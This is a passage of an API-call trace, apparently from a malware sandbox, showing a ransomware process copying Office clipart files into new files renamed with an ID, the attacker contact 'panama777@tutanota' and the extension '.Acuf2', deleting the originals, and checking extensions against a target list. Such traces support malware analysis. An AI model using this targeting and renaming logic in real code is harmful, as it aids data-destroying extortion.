	[0270.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0270.426] GetLastError () returned 0x0
	[0270.426] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x9b8, lpOverlapped=0x0) returned 1
	[0270.905] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x9c0, lpOverlapped=0x0) returned 1
	[0270.906] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0270.906] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0270.906] SetEndOfFile (hFile=0x28c) returned 1
	[0271.285] CloseHandle (hObject=0x28c) returned 1
	[0271.286] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.286] SetEndOfFile (hFile=0x360) returned 1
	[0271.288] CloseHandle (hObject=0x360) returned 1
	[0271.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 1
	[0271.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63
	[0271.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63
	[0271.288] lstrlenW (lpString=".doc") returned 4
	[0271.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0271.288] lstrlenW (lpString=".docx") returned 5
	[0271.288] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0271.288] lstrlenW (lpString=".pdf") returned 4
	[0271.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0271.288] lstrlenW (lpString=".xls") returned 4
	[0271.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0271.288] lstrlenW (lpString=".xlsx") returned 5
	[0271.289] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0271.289] lstrlenW (lpString=".ppt") returned 4
	[0271.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0271.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63
	[0271.289] lstrlenW (lpString=".zip") returned 4
	[0271.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0271.289] lstrlenW (lpString=".rar") returned 4
	[0271.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0271.289] lstrlenW (lpString=".bz2") returned 4
	[0271.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0271.289] lstrlenW (lpString=".7z") returned 3
	[0271.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0271.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63
	[0271.289] lstrlenW (lpString=".dbf") returned 4
	[0271.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0271.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63
	[0271.289] lstrlenW (lpString=".1cd") returned 4
	[0271.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0271.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63
	[0271.289] lstrlenW (lpString=".jpg") returned 4
	[0271.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0271.290] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=5386) returned 1
	[0271.290] CloseHandle (hObject=0x360) returned 1
	[0271.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 0x20
	[0271.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.290] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.290] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0271.290] GetLastError () returned 0x0
	[0271.290] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x150a, lpOverlapped=0x0) returned 1
	[0271.292] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1510, lpOverlapped=0x0) returned 1
	[0271.293] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.293] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.293] SetEndOfFile (hFile=0x28c) returned 1
	[0271.293] CloseHandle (hObject=0x28c) returned 1
	[0271.293] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.293] SetEndOfFile (hFile=0x360) returned 1
	[0271.295] CloseHandle (hObject=0x360) returned 1
	[0271.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 1
	[0271.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63
	[0271.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63
	[0271.296] lstrlenW (lpString=".doc") returned 4
	[0271.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0271.296] lstrlenW (lpString=".docx") returned 5
	[0271.296] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0271.296] lstrlenW (lpString=".pdf") returned 4
	[0271.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0271.296] lstrlenW (lpString=".xls") returned 4
	[0271.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0271.296] lstrlenW (lpString=".xlsx") returned 5
	[0271.296] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0271.296] lstrlenW (lpString=".ppt") returned 4
	[0271.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0271.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63
	[0271.296] lstrlenW (lpString=".zip") returned 4
	[0271.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0271.296] lstrlenW (lpString=".rar") returned 4
	[0271.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0271.296] lstrlenW (lpString=".bz2") returned 4
	[0271.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0271.296] lstrlenW (lpString=".7z") returned 3
	[0271.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0271.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63
	[0271.296] lstrlenW (lpString=".dbf") returned 4
	[0271.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0271.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63
	[0271.297] lstrlenW (lpString=".1cd") returned 4
	[0271.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0271.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63
	[0271.297] lstrlenW (lpString=".jpg") returned 4
	[0271.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0271.298] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3606) returned 1
	[0271.298] CloseHandle (hObject=0x360) returned 1
	[0271.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 0x20
	[0271.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.300] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.300] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0271.300] GetLastError () returned 0x0
	[0271.300] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xe16, lpOverlapped=0x0) returned 1
	[0271.302] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xe20, lpOverlapped=0x0) returned 1
	[0271.303] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.303] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.303] SetEndOfFile (hFile=0x28c) returned 1
	[0271.303] CloseHandle (hObject=0x28c) returned 1
	[0271.304] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.304] SetEndOfFile (hFile=0x360) returned 1
	[0271.306] CloseHandle (hObject=0x360) returned 1
	[0271.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 1
	[0271.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63
	[0271.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63
	[0271.307] lstrlenW (lpString=".doc") returned 4
	[0271.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0271.307] lstrlenW (lpString=".docx") returned 5
	[0271.307] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0271.307] lstrlenW (lpString=".pdf") returned 4
	[0271.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0271.307] lstrlenW (lpString=".xls") returned 4
	[0271.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0271.307] lstrlenW (lpString=".xlsx") returned 5
	[0271.307] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0271.307] lstrlenW (lpString=".ppt") returned 4
	[0271.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0271.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63
	[0271.307] lstrlenW (lpString=".zip") returned 4
	[0271.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0271.307] lstrlenW (lpString=".rar") returned 4
	[0271.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0271.307] lstrlenW (lpString=".bz2") returned 4
	[0271.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0271.307] lstrlenW (lpString=".7z") returned 3
	[0271.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0271.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63
	[0271.308] lstrlenW (lpString=".dbf") returned 4
	[0271.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0271.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63
	[0271.308] lstrlenW (lpString=".1cd") returned 4
	[0271.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0271.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63
	[0271.308] lstrlenW (lpString=".jpg") returned 4
	[0271.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0271.308] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=9154) returned 1
	[0271.308] CloseHandle (hObject=0x360) returned 1
	[0271.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 0x20
	[0271.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.309] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.309] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0271.309] GetLastError () returned 0x0
	[0271.309] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x23c2, lpOverlapped=0x0) returned 1
	[0271.310] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x23d0, lpOverlapped=0x0) returned 1
	[0271.311] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.311] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.311] SetEndOfFile (hFile=0x28c) returned 1
	[0271.311] CloseHandle (hObject=0x28c) returned 1
	[0271.311] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.312] SetEndOfFile (hFile=0x360) returned 1
	[0271.313] CloseHandle (hObject=0x360) returned 1
	[0271.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 1
	[0271.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63
	[0271.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63
	[0271.314] lstrlenW (lpString=".doc") returned 4
	[0271.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0271.314] lstrlenW (lpString=".docx") returned 5
	[0271.314] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0271.314] lstrlenW (lpString=".pdf") returned 4
	[0271.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0271.314] lstrlenW (lpString=".xls") returned 4
	[0271.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0271.314] lstrlenW (lpString=".xlsx") returned 5
	[0271.314] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0271.314] lstrlenW (lpString=".ppt") returned 4
	[0271.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0271.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63
	[0271.314] lstrlenW (lpString=".zip") returned 4
	[0271.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0271.315] lstrlenW (lpString=".rar") returned 4
	[0271.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0271.315] lstrlenW (lpString=".bz2") returned 4
	[0271.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0271.315] lstrlenW (lpString=".7z") returned 3
	[0271.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0271.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63
	[0271.315] lstrlenW (lpString=".dbf") returned 4
	[0271.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0271.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63
	[0271.315] lstrlenW (lpString=".1cd") returned 4
	[0271.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0271.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63
	[0271.315] lstrlenW (lpString=".jpg") returned 4
	[0271.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0271.315] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3394) returned 1
	[0271.315] CloseHandle (hObject=0x360) returned 1
	[0271.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) returned 0x20
	[0271.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.316] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.316] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0271.318] GetLastError () returned 0x0
	[0271.318] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xd42, lpOverlapped=0x0) returned 1
	[0271.320] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xd50, lpOverlapped=0x0) returned 1
	[0271.321] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.321] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.321] SetEndOfFile (hFile=0x28c) returned 1
	[0271.321] CloseHandle (hObject=0x28c) returned 1
	[0271.321] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.321] SetEndOfFile (hFile=0x360) returned 1
	[0271.323] CloseHandle (hObject=0x360) returned 1
	[0271.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) returned 1
	[0271.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63
	[0271.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63
	[0271.323] lstrlenW (lpString=".doc") returned 4
	[0271.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
